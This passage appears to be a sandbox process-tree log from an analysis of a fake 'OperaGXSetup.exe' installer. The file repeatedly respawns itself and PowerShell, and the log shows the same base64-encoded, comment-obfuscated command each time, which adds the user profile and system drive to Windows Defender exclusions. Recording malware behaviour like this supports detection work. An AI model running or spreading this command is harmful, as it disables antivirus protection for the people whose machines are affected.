        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        40⤵
        
        PID:6152
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        41⤵
        
        PID:7364
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        41⤵
        
        PID:7384
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        42⤵
        
        PID:7612
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        42⤵
        
        PID:7660
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        43⤵
        
        PID:7924
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        43⤵
        
        PID:7932
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        44⤵
        
        PID:8172
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        44⤵
        
        PID:1508
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        45⤵
        
        PID:6280
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        45⤵
        
        PID:4468
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        46⤵
        
        PID:7324
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        46⤵
        
        PID:7412
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        47⤵
        
        PID:7540
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        47⤵
        
        PID:7532
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        48⤵
        
        PID:2744
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        48⤵
        
        PID:900
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        49⤵
        
        PID:7752
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        49⤵
        
        PID:7744
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        50⤵
        
        PID:2624
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        50⤵
        
        PID:3528
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        51⤵
        
        PID:2376
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        51⤵
        
        PID:3720
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        52⤵
        
        PID:2916
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        53⤵
        
        PID:2116
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        52⤵
        
        PID:2352
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        53⤵
        
        PID:5920
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        53⤵
        
        PID:2176
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        54⤵
        
        PID:1144
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        54⤵
        
        PID:4868
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        55⤵
        
        PID:1192
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        55⤵
        
        PID:3760
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        56⤵
        
        PID:500
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        56⤵
        
        PID:3284
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        57⤵
        
        PID:6000
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        57⤵
        
        PID:7400
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        58⤵
        
        PID:1096
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        58⤵
        
        PID:4236
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        59⤵
        
        PID:212
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        59⤵
        
        PID:5568
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        60⤵
        
        PID:3720
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        60⤵
        
        PID:5432
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        61⤵
        
        PID:5064
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        61⤵
        
        PID:6720
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        62⤵
        
        PID:8128
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        62⤵
        
        PID:5164
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        63⤵
        
        PID:2564
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        63⤵
        
        PID:7812
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        64⤵
        
        PID:5072
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        64⤵
        
        PID:572
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        65⤵
        
        PID:7232
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        65⤵
        
        PID:6356
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        66⤵
        
        PID:4024
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        66⤵
        
        PID:8
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        67⤵
        
        PID:6804
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        67⤵
        
        PID:1484
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        68⤵
        
        PID:7072
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        69⤵
        
        PID:1388
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        68⤵
        
        PID:5208
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        69⤵
        
        PID:4340
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        69⤵
        
        PID:7676
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        70⤵
        
        PID:6632
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        70⤵
        
        PID:2936
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        71⤵
        
        PID:1616
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        71⤵
        
        PID:4280
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        72⤵
        
        PID:2528
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        72⤵
        
        PID:6184
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
